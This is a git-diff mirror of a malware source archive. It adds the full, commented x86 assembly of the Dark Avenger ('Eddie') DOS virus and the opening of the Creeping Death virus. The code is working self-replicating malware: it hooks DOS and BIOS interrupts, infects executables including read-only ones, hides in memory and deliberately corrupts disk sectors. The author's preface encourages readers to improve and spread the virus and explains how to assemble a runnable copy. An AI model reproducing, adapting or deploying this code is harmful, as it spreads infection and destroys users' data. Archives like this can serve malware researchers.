mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2026-06-15 15:29:23 +00:00
re-organize
push
This commit is contained in:
@@ -0,0 +1,982 @@
|
||||
|
||||
; "Blessed is he who expects nothing, for he shall not be disappointed."
|
||||
|
||||
; The original source of one of the first Bulgarian viruses is in front of
|
||||
; you. As you may notice, it's full of rubbish and bugs, but nevertheless
|
||||
; the virus has spread surprisingly quickly troughout the country and made a
|
||||
; quick round the globe. (It's well-known in Eastern and Western Europe, as
|
||||
; well as in USA.) Due to the aniversary of its creation, the source is
|
||||
; distributed freely. You have the rights to distribute the source which can
|
||||
; be charged or free of charge, with the only condition not to modify it.
|
||||
; The one, who intentionaly distributes this source modified in any way will
|
||||
; be punished! Still, the author will be glad if any of you improves it and
|
||||
; spreads the resulting executive file (i.e., the virus itself). Pay
|
||||
; attention to the fact that after you assemble the source, the resulting
|
||||
; .COM-file cannot be run. For that purpose you have to create a three-byte
|
||||
; file, consisting of the hex numbers 0e9h, 68h, 0 and then to combine the
|
||||
; two files. Don't try to place a JMP at the beginning of the source.
|
||||
|
||||
; DISCLAIMER: The author does not take any responsability for any damage,
|
||||
; either direct or implied, caused by the usage or not of this source or of
|
||||
; the resulting code after assembly. No warrant is made about the product
|
||||
; functionability or quality.
|
||||
|
||||
; I cannot resist to express my special gratitude to my "populazer" Dipl.
|
||||
; eng. Vesselin Bontchev, who makes me famous and who, wishing it or
|
||||
; not, helps very much in the spreading of my viruses, in spite of the fact
|
||||
; that he tries to do just the opposite (writing programs in C has never
|
||||
; led to any good).
|
||||
; Greetings to all virus writers!
|
||||
|
||||
code segment
|
||||
assume cs:code,ds:code
|
||||
copyright:
|
||||
db 'Eddie lives...somewhere in time!',0
|
||||
date_stamp:
|
||||
dd 12239000h
|
||||
checksum:
|
||||
db 30
|
||||
|
||||
; Return the control to an .EXE file:
|
||||
; Restores DS=ES=PSP, loads SS:SP and CS:IP.
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
exit_exe:
|
||||
mov bx,es
|
||||
add bx,10h
|
||||
add bx,word ptr cs:[si+call_adr+2]
|
||||
mov word ptr cs:[si+patch+2],bx
|
||||
mov bx,word ptr cs:[si+call_adr]
|
||||
mov word ptr cs:[si+patch],bx
|
||||
mov bx,es
|
||||
add bx,10h
|
||||
add bx,word ptr cs:[si+stack_pointer+2]
|
||||
mov ss,bx
|
||||
mov sp,word ptr cs:[si+stack_pointer]
|
||||
db 0eah ;JMP XXXX:YYYY
|
||||
patch:
|
||||
dd 0
|
||||
|
||||
; Returns control to a .COM file:
|
||||
; Restores the first 3 bytes in the
|
||||
; beginning of the file, loads SP and IP.
|
||||
|
||||
exit_com:
|
||||
|
||||
|
||||
|
||||
|
||||
mov di,100h
|
||||
add si,offset my_save
|
||||
movsb
|
||||
movsw
|
||||
mov sp,ds:[6] ;This is incorrect
|
||||
xor bx,bx
|
||||
push bx
|
||||
jmp [si-11] ;si+call_adr-top_file
|
||||
|
||||
; Program entry point
|
||||
|
||||
startup:
|
||||
call relative
|
||||
relative:
|
||||
pop si ;SI = $
|
||||
sub si,offset relative
|
||||
cld
|
||||
cmp word ptr cs:[si+my_save],5a4dh
|
||||
je exe_ok
|
||||
cli
|
||||
mov sp,si ;A separate stack is supported for
|
||||
add sp,offset top_file+100h ;the .COM files, in order not to
|
||||
sti ;overlap the stack by the program
|
||||
cmp sp,ds:[6]
|
||||
jnc exit_com
|
||||
exe_ok:
|
||||
push ax
|
||||
push es
|
||||
push si
|
||||
push ds
|
||||
mov di,si
|
||||
|
||||
; Looking for the address of INT 13h handler in ROM-BIOS
|
||||
|
||||
xor ax,ax
|
||||
push ax
|
||||
mov ds,ax
|
||||
les ax,ds:[13h*4]
|
||||
mov word ptr cs:[si+fdisk],ax
|
||||
mov word ptr cs:[si+fdisk+2],es
|
||||
mov word ptr cs:[si+disk],ax
|
||||
mov word ptr cs:[si+disk+2],es
|
||||
mov ax,ds:[40h*4+2] ;The INT 13h vector is moved to INT 40h
|
||||
cmp ax,0f000h ;for diskettes if a hard disk is
|
||||
jne nofdisk ;available
|
||||
mov word ptr cs:[si+disk+2],ax
|
||||
mov ax,ds:[40h*4]
|
||||
mov word ptr cs:[si+disk],ax
|
||||
mov dl,80h
|
||||
mov ax,ds:[41h*4+2] ;INT 41h usually points the segment,
|
||||
cmp ax,0f000h ;where the original INT 13h vector is
|
||||
je isfdisk
|
||||
cmp ah,0c8h
|
||||
jc nofdisk
|
||||
cmp ah,0f4h
|
||||
jnc nofdisk
|
||||
test al,7fh
|
||||
jnz nofdisk
|
||||
mov ds,ax
|
||||
cmp ds:[0],0aa55h
|
||||
jne nofdisk
|
||||
mov dl,ds:[2]
|
||||
isfdisk:
|
||||
mov ds,ax
|
||||
xor dh,dh
|
||||
mov cl,9
|
||||
shl dx,cl
|
||||
mov cx,dx
|
||||
xor si,si
|
||||
findvect:
|
||||
lodsw ;Occasionally begins with:
|
||||
cmp ax,0fa80h ; CMP DL,80h
|
||||
jne altchk ; JNC somewhere
|
||||
lodsw
|
||||
cmp ax,7380h
|
||||
je intchk
|
||||
jne nxt0
|
||||
altchk:
|
||||
cmp ax,0c2f6h ;or with:
|
||||
jne nxt ; TEST DL,80h
|
||||
lodsw ; JNZ somewhere
|
||||
cmp ax,7580h
|
||||
jne nxt0
|
||||
intchk:
|
||||
inc si ;then there is:
|
||||
lodsw ; INT 40h
|
||||
cmp ax,40cdh
|
||||
je found
|
||||
sub si,3
|
||||
nxt0:
|
||||
dec si
|
||||
dec si
|
||||
nxt:
|
||||
dec si
|
||||
loop findvect
|
||||
jmp short nofdisk
|
||||
found:
|
||||
sub si,7
|
||||
mov word ptr cs:[di+fdisk],si
|
||||
mov word ptr cs:[di+fdisk+2],ds
|
||||
nofdisk:
|
||||
mov si,di
|
||||
pop ds
|
||||
|
||||
; Check whether the program is present in memory:
|
||||
|
||||
les ax,ds:[21h*4]
|
||||
mov word ptr cs:[si+save_int_21],ax
|
||||
mov word ptr cs:[si+save_int_21+2],es
|
||||
push cs
|
||||
pop ds
|
||||
cmp ax,offset int_21
|
||||
jne bad_func
|
||||
xor di,di
|
||||
mov cx,offset my_size
|
||||
scan_func:
|
||||
lodsb
|
||||
scasb
|
||||
jne bad_func
|
||||
loop scan_func
|
||||
pop es
|
||||
jmp go_program
|
||||
|
||||
; Move the program to the top of memory:
|
||||
; (it's full of rubbish and bugs here)
|
||||
|
||||
bad_func:
|
||||
pop es
|
||||
mov ah,49h
|
||||
int 21h
|
||||
mov bx,0ffffh
|
||||
mov ah,48h
|
||||
int 21h
|
||||
sub bx,(top_bz+my_bz+1ch-1)/16+2
|
||||
jc go_program
|
||||
mov cx,es
|
||||
stc
|
||||
adc cx,bx
|
||||
mov ah,4ah
|
||||
int 21h
|
||||
mov bx,(offset top_bz+offset my_bz+1ch-1)/16+1
|
||||
stc
|
||||
sbb es:[2],bx
|
||||
push es
|
||||
mov es,cx
|
||||
mov ah,4ah
|
||||
int 21h
|
||||
mov ax,es
|
||||
dec ax
|
||||
mov ds,ax
|
||||
mov word ptr ds:[1],8
|
||||
call mul_16
|
||||
mov bx,ax
|
||||
mov cx,dx
|
||||
pop ds
|
||||
mov ax,ds
|
||||
call mul_16
|
||||
add ax,ds:[6]
|
||||
adc dx,0
|
||||
sub ax,bx
|
||||
sbb dx,cx
|
||||
jc mem_ok
|
||||
sub ds:[6],ax ;Reduction of the segment size
|
||||
mem_ok:
|
||||
pop si
|
||||
push si
|
||||
push ds
|
||||
push cs
|
||||
xor di,di
|
||||
mov ds,di
|
||||
lds ax,ds:[27h*4]
|
||||
mov word ptr cs:[si+save_int_27],ax
|
||||
mov word ptr cs:[si+save_int_27+2],ds
|
||||
pop ds
|
||||
mov cx,offset aux_size
|
||||
rep movsb
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ds:[21h*4],offset int_21;Intercept INT 21h and INT 27h
|
||||
mov ds:[21h*4+2],es
|
||||
mov ds:[27h*4],offset int_27
|
||||
mov ds:[27h*4+2],es
|
||||
mov word ptr es:[filehndl],ax
|
||||
pop es
|
||||
go_program:
|
||||
pop si
|
||||
|
||||
; Smash the next disk sector:
|
||||
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ax,ds:[13h*4]
|
||||
mov word ptr cs:[si+save_int_13],ax
|
||||
mov ax,ds:[13h*4+2]
|
||||
mov word ptr cs:[si+save_int_13+2],ax
|
||||
mov ds:[13h*4],offset int_13
|
||||
add ds:[13h*4],si
|
||||
mov ds:[13h*4+2],cs
|
||||
pop ds
|
||||
push ds
|
||||
push si
|
||||
mov bx,si
|
||||
lds ax,ds:[2ah]
|
||||
xor si,si
|
||||
mov dx,si
|
||||
scan_envir: ;Fetch program's name
|
||||
lodsw ;(with DOS 2.x it doesn't work anyway)
|
||||
dec si
|
||||
test ax,ax
|
||||
jnz scan_envir
|
||||
add si,3
|
||||
lodsb
|
||||
|
||||
; The following instruction is a complete nonsense. Try to enter a drive &
|
||||
; directory path in lowercase, then run an infected program from there.
|
||||
; As a result of an error here + an error in DOS the next sector is not
|
||||
; smashed. Two memory bytes are smashed instead, most probably onto the
|
||||
; infected program.
|
||||
|
||||
sub al,'A'
|
||||
mov cx,1
|
||||
push cs
|
||||
pop ds
|
||||
add bx,offset int_27
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
int 25h
|
||||
pop ax
|
||||
pop cx
|
||||
pop bx
|
||||
inc byte ptr [bx+0ah]
|
||||
and byte ptr [bx+0ah],0fh ;It seems that 15 times doing
|
||||
jnz store_sec ;nothing is not enough for some.
|
||||
mov al,[bx+10h]
|
||||
xor ah,ah
|
||||
mul word ptr [bx+16h]
|
||||
add ax,[bx+0eh]
|
||||
push ax
|
||||
mov ax,[bx+11h]
|
||||
mov dx,32
|
||||
mul dx
|
||||
div word ptr [bx+0bh]
|
||||
pop dx
|
||||
add dx,ax
|
||||
mov ax,[bx+8]
|
||||
add ax,40h
|
||||
cmp ax,[bx+13h]
|
||||
jc store_new
|
||||
inc ax
|
||||
and ax,3fh
|
||||
add ax,dx
|
||||
cmp ax,[bx+13h]
|
||||
jnc small_disk
|
||||
store_new:
|
||||
mov [bx+8],ax
|
||||
store_sec:
|
||||
pop ax
|
||||
xor dx,dx
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
int 26h
|
||||
|
||||
|
||||
; The writing trough this interrupt is not the smartest thing, bacause it
|
||||
; can be intercepted (what Vesselin Bontchev has managed to notice).
|
||||
|
||||
pop ax
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
cmp byte ptr [bx+0ah],0
|
||||
jne not_now
|
||||
mov dx,[bx+8]
|
||||
pop bx
|
||||
push bx
|
||||
int 26h
|
||||
small_disk:
|
||||
pop ax
|
||||
not_now:
|
||||
pop si
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
mov ax,word ptr cs:[si+save_int_13]
|
||||
mov ds:[13h*4],ax
|
||||
mov ax,word ptr cs:[si+save_int_13+2]
|
||||
mov ds:[13h*4+2],ax
|
||||
pop ds
|
||||
pop ax
|
||||
cmp word ptr cs:[si+my_save],5a4dh
|
||||
jne go_exit_com
|
||||
jmp exit_exe
|
||||
go_exit_com:
|
||||
jmp exit_com
|
||||
int_24:
|
||||
mov al,3 ;This instruction seems unnecessary
|
||||
iret
|
||||
|
||||
; INT 27h handler (this is necessary)
|
||||
|
||||
int_27:
|
||||
pushf
|
||||
call alloc
|
||||
popf
|
||||
jmp dword ptr cs:[save_int_27]
|
||||
|
||||
; During the DOS functions Set & Get Vector it seems that the virus has not
|
||||
; intercepted them (this is a doubtfull advantage and it is a possible
|
||||
; source of errors with some "intelligent" programs)
|
||||
|
||||
set_int_27:
|
||||
mov word ptr cs:[save_int_27],dx
|
||||
mov word ptr cs:[save_int_27+2],ds
|
||||
popf
|
||||
iret
|
||||
set_int_21:
|
||||
mov word ptr cs:[save_int_21],dx
|
||||
mov word ptr cs:[save_int_21+2],ds
|
||||
popf
|
||||
iret
|
||||
get_int_27:
|
||||
les bx,dword ptr cs:[save_int_27]
|
||||
popf
|
||||
iret
|
||||
get_int_21:
|
||||
les bx,dword ptr cs:[save_int_21]
|
||||
popf
|
||||
iret
|
||||
|
||||
exec:
|
||||
|
||||
|
||||
call do_file
|
||||
call alloc
|
||||
popf
|
||||
jmp dword ptr cs:[save_int_21]
|
||||
|
||||
db 'Diana P.',0
|
||||
|
||||
; INT 21h handler. Infects files during execution, copying, browsing or
|
||||
; creating and some other operations. The execution of functions 0 and 26h
|
||||
; has bad consequences.
|
||||
|
||||
int_21:
|
||||
push bp
|
||||
mov bp,sp
|
||||
push [bp+6]
|
||||
popf
|
||||
pop bp
|
||||
pushf
|
||||
call ontop
|
||||
cmp ax,2521h
|
||||
je set_int_21
|
||||
cmp ax,2527h
|
||||
je set_int_27
|
||||
cmp ax,3521h
|
||||
je get_int_21
|
||||
cmp ax,3527h
|
||||
je get_int_27
|
||||
cld
|
||||
cmp ax,4b00h
|
||||
je exec
|
||||
cmp ah,3ch
|
||||
je create
|
||||
cmp ah,3eh
|
||||
je close
|
||||
cmp ah,5bh
|
||||
jne not_create
|
||||
create:
|
||||
cmp word ptr cs:[filehndl],0;May be 0 if the file is open
|
||||
jne dont_touch
|
||||
call see_name
|
||||
jnz dont_touch
|
||||
call alloc
|
||||
popf
|
||||
call function
|
||||
jc int_exit
|
||||
pushf
|
||||
push es
|
||||
push cs
|
||||
pop es
|
||||
push si
|
||||
push di
|
||||
push cx
|
||||
push ax
|
||||
mov di,offset filehndl
|
||||
stosw
|
||||
mov si,dx
|
||||
mov cx,65
|
||||
move_name:
|
||||
lodsb
|
||||
stosb
|
||||
test al,al
|
||||
jz all_ok
|
||||
loop move_name
|
||||
mov word ptr es:[filehndl],cx
|
||||
all_ok:
|
||||
pop ax
|
||||
pop cx
|
||||
pop di
|
||||
pop si
|
||||
pop es
|
||||
go_exit:
|
||||
popf
|
||||
jnc int_exit ;JMP
|
||||
close:
|
||||
cmp bx,word ptr cs:[filehndl]
|
||||
jne dont_touch
|
||||
test bx,bx
|
||||
jz dont_touch
|
||||
call alloc
|
||||
popf
|
||||
call function
|
||||
jc int_exit
|
||||
pushf
|
||||
push ds
|
||||
push cs
|
||||
pop ds
|
||||
push dx
|
||||
mov dx,offset filehndl+2
|
||||
call do_file
|
||||
mov word ptr cs:[filehndl],0
|
||||
pop dx
|
||||
pop ds
|
||||
jmp go_exit
|
||||
not_create:
|
||||
cmp ah,3dh
|
||||
je touch
|
||||
cmp ah,43h
|
||||
je touch
|
||||
cmp ah,56h ;Unfortunately, the command inter-
|
||||
jne dont_touch ;preter does not use this function
|
||||
touch:
|
||||
call see_name
|
||||
jnz dont_touch
|
||||
call do_file
|
||||
dont_touch:
|
||||
call alloc
|
||||
popf
|
||||
call function
|
||||
int_exit:
|
||||
pushf
|
||||
push ds
|
||||
call get_chain
|
||||
mov byte ptr ds:[0],'Z'
|
||||
pop ds
|
||||
popf
|
||||
dummy proc far ;???
|
||||
ret 2
|
||||
dummy endp
|
||||
|
||||
; Checks whether the file is .COM or .EXE.
|
||||
; It is not called upon file execution.
|
||||
|
||||
see_name:
|
||||
push ax
|
||||
push si
|
||||
mov si,dx
|
||||
scan_name:
|
||||
lodsb
|
||||
test al,al
|
||||
jz bad_name
|
||||
cmp al,'.'
|
||||
jnz scan_name
|
||||
call get_byte
|
||||
mov ah,al
|
||||
call get_byte
|
||||
cmp ax,'co'
|
||||
jz pos_com
|
||||
cmp ax,'ex'
|
||||
jnz good_name
|
||||
call get_byte
|
||||
cmp al,'e'
|
||||
jmp short good_name
|
||||
pos_com:
|
||||
call get_byte
|
||||
cmp al,'m'
|
||||
jmp short good_name
|
||||
bad_name:
|
||||
inc al
|
||||
good_name:
|
||||
pop si
|
||||
pop ax
|
||||
ret
|
||||
|
||||
; Converts into lowercase (the subroutines are a great thing).
|
||||
|
||||
get_byte:
|
||||
lodsb
|
||||
cmp al,'C'
|
||||
jc byte_got
|
||||
cmp al,'Y'
|
||||
jnc byte_got
|
||||
add al,20h
|
||||
byte_got:
|
||||
ret
|
||||
|
||||
; Calls the original INT 21h.
|
||||
|
||||
function:
|
||||
pushf
|
||||
call dword ptr cs:[save_int_21]
|
||||
ret
|
||||
|
||||
; Arrange to infect an executable file.
|
||||
|
||||
do_file:
|
||||
push ds ;Save the registers in stack
|
||||
push es
|
||||
push si
|
||||
push di
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
mov si,ds
|
||||
xor ax,ax
|
||||
mov ds,ax
|
||||
les ax,ds:[24h*4] ;Saves INT 13h and INT 24h in stack
|
||||
push es ;and changes them with what is needed
|
||||
push ax
|
||||
mov ds:[24h*4],offset int_24
|
||||
mov ds:[24h*4+2],cs
|
||||
les ax,ds:[13h*4]
|
||||
mov word ptr cs:[save_int_13],ax
|
||||
mov word ptr cs:[save_int_13+2],es
|
||||
mov ds:[13h*4],offset int_13
|
||||
mov ds:[13h*4+2],cs
|
||||
push es
|
||||
push ax
|
||||
mov ds,si
|
||||
xor cx,cx ;Arranges to infect Read-only files
|
||||
mov ax,4300h
|
||||
call function
|
||||
mov bx,cx
|
||||
and cl,0feh
|
||||
cmp cl,bl
|
||||
je dont_change
|
||||
mov ax,4301h
|
||||
call function
|
||||
stc
|
||||
dont_change:
|
||||
pushf
|
||||
push ds
|
||||
push dx
|
||||
push bx
|
||||
mov ax,3d02h ;Now we can safely open the file
|
||||
call function
|
||||
jc cant_open
|
||||
mov bx,ax
|
||||
call disease
|
||||
mov ah,3eh ;Close it
|
||||
|
||||
call function
|
||||
cant_open:
|
||||
pop cx
|
||||
pop dx
|
||||
pop ds
|
||||
popf
|
||||
jnc no_update
|
||||
mov ax,4301h ;Restores file's attributes
|
||||
call function ;if they were changed (just in case)
|
||||
no_update:
|
||||
xor ax,ax ;Restores INT 13h and INT 24h
|
||||
mov ds,ax
|
||||
pop ds:[13h*4]
|
||||
pop ds:[13h*4+2]
|
||||
pop ds:[24h*4]
|
||||
pop ds:[24h*4+2]
|
||||
pop dx ;Register restoration
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop di
|
||||
pop si
|
||||
pop es
|
||||
pop ds
|
||||
ret
|
||||
|
||||
; This routine is the working horse.
|
||||
|
||||
disease:
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
mov dx,offset top_save ;Read the file beginning
|
||||
mov cx,18h
|
||||
mov ah,3fh
|
||||
int 21h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
mov ax,4202h ;Save file length
|
||||
int 21h
|
||||
mov word ptr [top_save+1ah],dx
|
||||
cmp ax,offset my_size ;This should be top_file
|
||||
sbb dx,0
|
||||
jc stop_fuck_2 ;Small files are not infected
|
||||
mov word ptr [top_save+18h],ax
|
||||
cmp word ptr [top_save],5a4dh
|
||||
jne com_file
|
||||
mov ax,word ptr [top_save+8]
|
||||
add ax,word ptr [top_save+16h]
|
||||
call mul_16
|
||||
add ax,word ptr [top_save+14h]
|
||||
adc dx,0
|
||||
mov cx,dx
|
||||
mov dx,ax
|
||||
jmp short see_sick
|
||||
com_file:
|
||||
cmp byte ptr [top_save],0e9h
|
||||
jne see_fuck
|
||||
mov dx,word ptr [top_save+1]
|
||||
add dx,103h
|
||||
jc see_fuck
|
||||
dec dh
|
||||
xor cx,cx
|
||||
|
||||
; Check if the file is properly infected
|
||||
|
||||
|
||||
see_sick:
|
||||
sub dx,startup-copyright
|
||||
sbb cx,0
|
||||
mov ax,4200h
|
||||
int 21h
|
||||
add ax,offset top_file
|
||||
adc dx,0
|
||||
cmp ax,word ptr [top_save+18h]
|
||||
jne see_fuck
|
||||
cmp dx,word ptr [top_save+1ah]
|
||||
jne see_fuck
|
||||
mov dx,offset top_save+1ch
|
||||
mov si,dx
|
||||
mov cx,offset my_size
|
||||
mov ah,3fh
|
||||
int 21h
|
||||
jc see_fuck
|
||||
cmp cx,ax
|
||||
jne see_fuck
|
||||
xor di,di
|
||||
next_byte:
|
||||
|
||||
lodsb
|
||||
scasb
|
||||
jne see_fuck
|
||||
loop next_byte
|
||||
stop_fuck_2:
|
||||
ret
|
||||
see_fuck:
|
||||
xor cx,cx ;Seek to the end of file
|
||||
xor dx,dx
|
||||
mov ax,4202h
|
||||
int 21h
|
||||
cmp word ptr [top_save],5a4dh
|
||||
je fuck_exe
|
||||
add ax,offset aux_size+200h ;Watch out for too big .COM files
|
||||
adc dx,0
|
||||
je fuck_it
|
||||
ret
|
||||
|
||||
; Pad .EXE files to paragraph boundary. This is absolutely unnecessary.
|
||||
|
||||
fuck_exe:
|
||||
mov dx,word ptr [top_save+18h]
|
||||
neg dl
|
||||
and dx,0fh
|
||||
xor cx,cx
|
||||
mov ax,4201h
|
||||
int 21h
|
||||
mov word ptr [top_save+18h],ax
|
||||
mov word ptr [top_save+1ah],dx
|
||||
fuck_it:
|
||||
mov ax,5700h ;Get file's date
|
||||
int 21h
|
||||
pushf
|
||||
push cx
|
||||
push dx
|
||||
cmp word ptr [top_save],5a4dh
|
||||
je exe_file ;Very clever, isn't it?
|
||||
mov ax,100h
|
||||
jmp short set_adr
|
||||
exe_file:
|
||||
mov ax,word ptr [top_save+14h]
|
||||
mov dx,word ptr [top_save+16h]
|
||||
set_adr:
|
||||
mov di,offset call_adr
|
||||
stosw
|
||||
mov ax,dx
|
||||
stosw
|
||||
mov ax,word ptr [top_save+10h]
|
||||
stosw
|
||||
mov ax,word ptr [top_save+0eh]
|
||||
stosw
|
||||
mov si,offset top_save ;This offers the possibilities to
|
||||
movsb ;some nasty programs to restore
|
||||
movsw ;exactly the original length
|
||||
xor dx,dx ;of the .EXE files
|
||||
mov cx,offset top_file
|
||||
mov ah,40h
|
||||
int 21h ;Write the virus
|
||||
jc go_no_fuck ;(don't trace here)
|
||||
xor cx,ax
|
||||
jnz go_no_fuck
|
||||
mov dx,cx
|
||||
mov ax,4200h
|
||||
int 21h
|
||||
cmp word ptr [top_save],5a4dh
|
||||
je do_exe
|
||||
mov byte ptr [top_save],0e9h
|
||||
mov ax,word ptr [top_save+18h]
|
||||
add ax,startup-copyright-3
|
||||
mov word ptr [top_save+1],ax
|
||||
mov cx,3
|
||||
jmp short write_header
|
||||
go_no_fuck:
|
||||
jmp short no_fuck
|
||||
|
||||
; Construct the .EXE file's header
|
||||
|
||||
do_exe:
|
||||
call mul_hdr
|
||||
not ax
|
||||
not dx
|
||||
inc ax
|
||||
jne calc_offs
|
||||
inc dx
|
||||
calc_offs:
|
||||
add ax,word ptr [top_save+18h]
|
||||
adc dx,word ptr [top_save+1ah]
|
||||
mov cx,10h
|
||||
div cx
|
||||
mov word ptr [top_save+14h],startup-copyright
|
||||
mov word ptr [top_save+16h],ax
|
||||
add ax,(offset top_file-offset copyright-1)/16+1
|
||||
mov word ptr [top_save+0eh],ax
|
||||
mov word ptr [top_save+10h],100h
|
||||
add word ptr [top_save+18h],offset top_file
|
||||
adc word ptr [top_save+1ah],0
|
||||
mov ax,word ptr [top_save+18h]
|
||||
and ax,1ffh
|
||||
mov word ptr [top_save+2],ax
|
||||
pushf
|
||||
mov ax,word ptr [top_save+19h]
|
||||
shr byte ptr [top_save+1bh],1
|
||||
rcr ax,1
|
||||
popf
|
||||
jz update_len
|
||||
inc ax
|
||||
update_len:
|
||||
mov word ptr [top_save+4],ax
|
||||
mov cx,18h
|
||||
write_header:
|
||||
mov dx,offset top_save
|
||||
mov ah,40h
|
||||
int 21h ;Write the file beginning
|
||||
no_fuck:
|
||||
pop dx
|
||||
pop cx
|
||||
popf
|
||||
jc stop_fuck
|
||||
mov ax,5701h ;Restore the original file date
|
||||
int 21h
|
||||
stop_fuck:
|
||||
ret
|
||||
|
||||
; The following is used by the INT 21h and INT 27h handlers in connection
|
||||
; to the program hiding in memory from those who don't need to see it.
|
||||
; The whole system is absurde and meaningless and it is also another source
|
||||
; for program conflicts.
|
||||
|
||||
alloc:
|
||||
push ds
|
||||
call get_chain
|
||||
mov byte ptr ds:[0],'M'
|
||||
pop ds
|
||||
|
||||
; Assures that the program is the first one in the processes,
|
||||
; which have intercepted INT 21h (yet another source of conflicts).
|
||||
|
||||
ontop:
|
||||
push ds
|
||||
push ax
|
||||
push bx
|
||||
push dx
|
||||
xor bx,bx
|
||||
mov ds,bx
|
||||
lds dx,ds:[21h*4]
|
||||
cmp dx,offset int_21
|
||||
jne search_segment
|
||||
mov ax,ds
|
||||
mov bx,cs
|
||||
cmp ax,bx
|
||||
je test_complete
|
||||
|
||||
; Searches the segment of the sucker who has intercepted INT 21h, in
|
||||
; order to find where it has stored the old values and to replace them.
|
||||
; Nothing is done for INT 27h.
|
||||
|
||||
xor bx,bx
|
||||
search_segment:
|
||||
mov ax,[bx]
|
||||
cmp ax,offset int_21
|
||||
jne search_next
|
||||
mov ax,cs
|
||||
cmp ax,[bx+2]
|
||||
je got_him
|
||||
search_next:
|
||||
inc bx
|
||||
jne search_segment
|
||||
je return_control
|
||||
got_him:
|
||||
mov ax,word ptr cs:[save_int_21]
|
||||
mov [bx],ax
|
||||
mov ax,word ptr cs:[save_int_21+2]
|
||||
mov [bx+2],ax
|
||||
mov word ptr cs:[save_int_21],dx
|
||||
mov word ptr cs:[save_int_21+2],ds
|
||||
xor bx,bx
|
||||
|
||||
; Even if he has not saved them in the same segment, this won't help him.
|
||||
|
||||
return_control:
|
||||
mov ds,bx
|
||||
mov ds:[21h*4],offset int_21
|
||||
mov ds:[21h*4+2],cs
|
||||
test_complete:
|
||||
pop dx
|
||||
pop bx
|
||||
pop ax
|
||||
pop ds
|
||||
ret
|
||||
|
||||
; Fetch the segment of the last MCB
|
||||
|
||||
get_chain:
|
||||
push ax
|
||||
push bx
|
||||
mov ah,62h
|
||||
call function
|
||||
mov ax,cs
|
||||
dec ax
|
||||
dec bx
|
||||
next_blk:
|
||||
mov ds,bx
|
||||
stc
|
||||
adc bx,ds:[3]
|
||||
cmp bx,ax
|
||||
jc next_blk
|
||||
pop bx
|
||||
pop ax
|
||||
ret
|
||||
|
||||
; Multiply by 16
|
||||
|
||||
mul_hdr:
|
||||
mov ax,word ptr [top_save+8]
|
||||
mul_16:
|
||||
mov dx,10h
|
||||
mul dx
|
||||
ret
|
||||
|
||||
db 'This program was written in the city of Sofia '
|
||||
db '(C) 1988-89 Dark Avenger',0
|
||||
|
||||
; INT 13h handler.
|
||||
; Calls the original vectors in BIOS, if it's a writing call
|
||||
|
||||
int_13:
|
||||
cmp ah,3
|
||||
jnz subfn_ok
|
||||
cmp dl,80h
|
||||
jnc hdisk
|
||||
db 0eah ;JMP XXXX:YYYY
|
||||
my_size: ;--- Up to here comparison
|
||||
disk: ; with the original is made
|
||||
dd 0
|
||||
hdisk:
|
||||
db 0eah ;JMP XXXX:YYYY
|
||||
fdisk:
|
||||
dd 0
|
||||
subfn_ok:
|
||||
db 0eah ;JMP XXXX:YYYY
|
||||
save_int_13:
|
||||
dd 0
|
||||
call_adr:
|
||||
dd 100h
|
||||
|
||||
stack_pointer:
|
||||
dd 0 ;The original value of SS:SP
|
||||
my_save:
|
||||
int 20h ;The original contents of the first
|
||||
nop ;3 bytes of the file
|
||||
top_file: ;--- Up to here the code is written
|
||||
filehndl equ $ ; in the files
|
||||
filename equ filehndl+2 ;Buffer for the name of the opened file
|
||||
save_int_27 equ filename+65 ;Original INT 27h vector
|
||||
save_int_21 equ save_int_27+4 ;Original INT 21h vector
|
||||
aux_size equ save_int_21+4 ;--- Up to here is moved into memory
|
||||
top_save equ save_int_21+4 ;Beginning of the buffer, which
|
||||
;contains
|
||||
; - The first 24 bytes read from file
|
||||
; - File length (4 bytes)
|
||||
; - The last bytes of the file
|
||||
; (my_size bytes)
|
||||
top_bz equ top_save-copyright
|
||||
my_bz equ my_size-copyright
|
||||
|
||||
code ends
|
||||
end
|
||||
@@ -0,0 +1,563 @@
|
||||
; Dark Angel's comments: I spent my entire waking hours looking at this virus.
|
||||
; I love it. It is my life. I worship the drive it
|
||||
; infects. Take a look at it. Let not my troubles be
|
||||
; in vain. Why did I do this? I sacrifice my life for
|
||||
; the benefit of 40Hex. If you don't read this, I'm
|
||||
; gonna go join [NuKE].
|
||||
|
||||
; Creeping Death V 1.0
|
||||
;
|
||||
; (C) Copyright 1991 by VirusSoft Corp.
|
||||
|
||||
i13org = 5f8h
|
||||
i21org = 5fch
|
||||
|
||||
dir_2 segment byte public
|
||||
assume cs:dir_2, ds:dir_2
|
||||
|
||||
org 100h
|
||||
|
||||
start:
|
||||
mov sp,600h ; Set up the stack pointer
|
||||
inc word ptr counter ; Generation counter
|
||||
xor cx,cx
|
||||
mov ds,cx ; DS points to interrupt table
|
||||
lds ax, ds:[0c1h] ; Find interrupt 30h
|
||||
add ax,21h ; Change it to Int 21h
|
||||
push ds ; Save it on stack for use by
|
||||
push ax ; subroutine "jump"
|
||||
mov ah,30h ; Get DOS version
|
||||
call jump
|
||||
cmp al,4 ; DOS 4.X+ : SI = 0
|
||||
sbb si,si ; DOS 2/3 : SI = -1
|
||||
mov byte ptr [drive+2],byte ptr -1 ; Initialise last drive to
|
||||
; "never accessed"
|
||||
mov bx,60h ; Adjust memory in ES to
|
||||
mov ah,4ah ; BX paragraphs.
|
||||
call jump
|
||||
|
||||
mov ah,52h ; Get DOS List of Lists
|
||||
call jump ; to ES:BX
|
||||
push es:[bx-2] ; Save Segment of first MCB
|
||||
lds bx,es:[bx] ; DS:BX -> 1st DPB
|
||||
; (Drive parameter block)
|
||||
search: mov ax,[bx+si+15h] ; Get segment of device driver
|
||||
cmp ax,70h ; Is it CONFIG? (I think)
|
||||
jne next ; If not, try again
|
||||
